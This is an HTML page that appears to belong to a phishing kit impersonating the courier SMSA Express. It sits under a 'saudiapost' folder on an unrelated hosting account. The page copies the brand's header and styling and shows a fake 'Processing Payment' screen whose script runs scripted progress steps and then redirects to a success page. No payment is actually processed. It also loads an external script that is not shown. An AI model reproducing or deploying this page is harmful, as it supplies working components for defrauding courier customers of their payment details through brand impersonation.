/home2/mshostin/public_html/saudiapost/smsa/loading.html
<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<meta http-equiv="x-ua-compatible" content="ie=edge" />
<title>Processing Payment | SMSA Express</title>
<link href="https://fonts.googleapis.com/css2?family=Segoe+UI:wght@300;400;500;600;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="css/header.css">
<link rel="stylesheet" href="css/style.css">
<style>
.st0 {
fill: #00C8E1;
stroke: #00C8E1;
stroke-miterlimit: 10;
}
.st1 {
fill: #153C3F;
stroke: #153C3F;
stroke-miterlimit: 10;
}
/* LOADING PAGE STYLES */
.loading-container {
display: flex;
align-items: center;
justify-content: center;
min-height: calc(100vh - 300px);
padding: 2rem;
}
.loading-content {
text-align: center;
max-width: 500px;
}
.spinner {
width: 80px;
height: 80px;
margin: 0 auto 2rem;
position: relative;
display: flex;
align-items: center;
justify-content: center;
}
.spinner::before {
content: '';
position: absolute;
width: 100%;
height: 100%;
border: 4px solid #f0f0f0;
border-top: 4px solid #00c8e1;
border-right: 4px solid #00c8e1;
border-radius: 50%;
animation: spin 1s linear infinite;
}
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
.loading-title {
font-size: 28px;
font-weight: 700;
color: #373737;
margin-bottom: 1rem;
}
.loading-description {
font-size: 16px;
color: #666;
margin-bottom: 2rem;
line-height: 1.6;
}
.loading-steps {
display: flex;
justify-content: space-between;
align-items: center;
margin-top: 2rem;
padding: 1.5rem;
background: #f9f9f9;
border-radius: 3px;
border-left: 4px solid #00c8e1;
}
.step {
flex: 1;
text-align: center;
position: relative;
}
.step-number {
display: inline-flex;
align-items: center;
justify-content: center;
width: 40px;
height: 40px;
background: #e0e0e0;
border-radius: 50%;
font-weight: 700;
color: #666;
margin-bottom: 0.5rem;
transition: all 0.3s ease;
}
.step.active .step-number {
background: #00c8e1;
color: #fff;
}
.step.completed .step-number {
background: #4caf50;
color: #fff;
}
.step-label {
font-size: 12px;
color: #666;
font-weight: 600;
}
.step:not(:last-child)::after {
content: '';
position: absolute;
top: 20px;
right: -50%;
width: 100%;
height: 2px;
background: #e0e0e0;
z-index: -1;
}
.step.completed:not(:last-child)::after {
background: #4caf50;
}
.step.active:not(:last-child)::after {
background: #00c8e1;
}
.progress-bar {
width: 100%;
height: 4px;
background: #e0e0e0;
border-radius: 2px;
margin-top: 2rem;
overflow: hidden;
}
.progress-fill {
height: 100%;
background: linear-gradient(90deg, #00c8e1, #146e82);
width: 33%;
animation: progress 3s ease-in-out infinite;
}
@keyframes progress {
0% {
width: 10%;
}
50% {
width: 70%;
}
100% {
width: 90%;
}
}
</style>
</head>
<body>
<div class="page-wrap">
<div class="header_wrapper">
<!-- TOP BAR -->
<div class="top_bar">
<div class="container flex_me">
<div class="col">
<ul class="navTop">
<li id="individual"><a href="/en/">Individuals</a></li>
<li id="enterprise"><a href="/en/enterprise">Enterprise</a></li>
<li id="government"><a href="/en/government">Government</a></li>
</ul>
</div>
<div class="col">
<div class="help_dropdown">
<a href="#" class="onMobile_view">Help</a>
<div>
<span>Help and Support</span>
<ul>
<li><a href="/en/faq/">FAQ</a></li>
<li><a href="/en/customer-service/">Customer Service</a></li>
</ul>
</div>
</div>
<a href="#branches" title="Branches" class="desktop_view" id="scrollToBranch"><img src="/Design/images/branch_icon.svg" alt=""></a>
<button type="button" title="Search" class="search_btn desktop_view btn-srch"><img src="/Design/images/search_icon.svg" alt=""></button>
<a class="nav-link switchLang" href="loading_ar.html">عربي</a>
<div class="search_box">
<form id="search" name="search" action="/en/search" method="get">
<button type="button" class="close bg-transparent border-0"></button>
<div class="search_field">
<span>Search the website...</span>
<input name="q" aria-label="Search" type="text" id="search_cssw" placeholder="Search..." value="" autocomplete="off">
<button type="submit"><img src="/Design/images/arrow_icon_white.svg" alt=""></button>
</div>
</form>
</div>
</div>
</div>
</div>
<!-- MAIN HEADER -->
<header>
<div class="container flex_me">
<div class="col flex_me append_menu">
<a href="/en/" class="logo"><img src="images/Logo.svg" alt="SMSA Express"></a>
<ul id="menu" class="menuIndividual">
<li class="menuMobile">
<span>Individuals</span>
</li>
<li>
<a href="#sending">Sending</a>
</li>
<li>
<a href="#receiving">Receiving</a>
</li>
<li>
<a href="#alami">Alami</a>
</li>
<li>
<a href="#national-address">National Address</a>
</li>
<li>
<a href="#retail-services">Retail Services</a>
</li>
<li>
<a href="#financial-services">Financial Services</a>
</li>
<li>
<a href="#stamps">Stamps</a>
</li>
</ul>
</div>
<div class="col justify_end">
<a href="#login">Log in</a>
<a href="#signup" class="sign_up_link">Sign Up</a>
</div>
</div>
</header>
<!-- BREADCRUMB -->
<div class="breadcrumb">
<div class="container flex_me">
<a href="index.html" class="breadcrumb-home">
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 25 27.421">
<path d="M7.071,24V16.8h7.857V24H22V8.8L11,0,0,8.8V24Z" transform="translate(1.5 1.921)" fill="none" stroke="#146e82" stroke-miterlimit="10" stroke-width="3"/>
</svg>
</a>
<span class="breadcrumb-separator">›</span>
<span>Processing Payment</span>
</div>
</div>
</div>
<!-- MAIN CONTENT -->
<div class="container">
<div class="loading-container">
<div class="loading-content">
<div class="spinner"></div>
<h1 class="loading-title">Processing Payment</h1>
<p class="loading-description">
Please wait while we process your payment. This should only take a few moments.
</p>
<div class="loading-steps">
<div class="step completed">
<div class="step-number">✓</div>
<div class="step-label">Verification</div>
</div>
<div class="step active">
<div class="step-number">2</div>
<div class="step-label">Processing</div>
</div>
<div class="step">
<div class="step-number">3</div>
<div class="step-label">Confirmation</div>
</div>
</div>
<div class="progress-bar">
<div class="progress-fill"></div>
</div>
</div>
</div>
</div>
</div>
<!-- SCRIPTS -->
<script src="js/loading_flow.js"></script>
<script>
// Simulate payment processing
let currentStep = 1;
const steps = document.querySelectorAll('.step');
function updateStep() {
currentStep++;
if (currentStep <= steps.length) {
steps[currentStep - 2].classList.remove('active');
steps[currentStep - 2].classList.add('completed');
steps[currentStep - 2].querySelector('.step-number').textContent = '✓';
if (currentStep <= steps.length) {
steps[currentStep - 1].classList.add('active');
}
}
}
// Update steps every 2 seconds
let stepInterval = setInterval(updateStep, 2000);
// Simulate completion after 6 seconds
setTimeout(() => {
clearInterval(stepInterval);
steps.forEach(step => {
step.classList.remove('active');
step.classList.add('completed');
step.querySelector('.step-number').textContent = '✓';
});
// Redirect to success page after 1 second
setTimeout(() => {
window.location.href = 'success.html';
}, 1000);
}, 6000);
</script>
</body>
</html>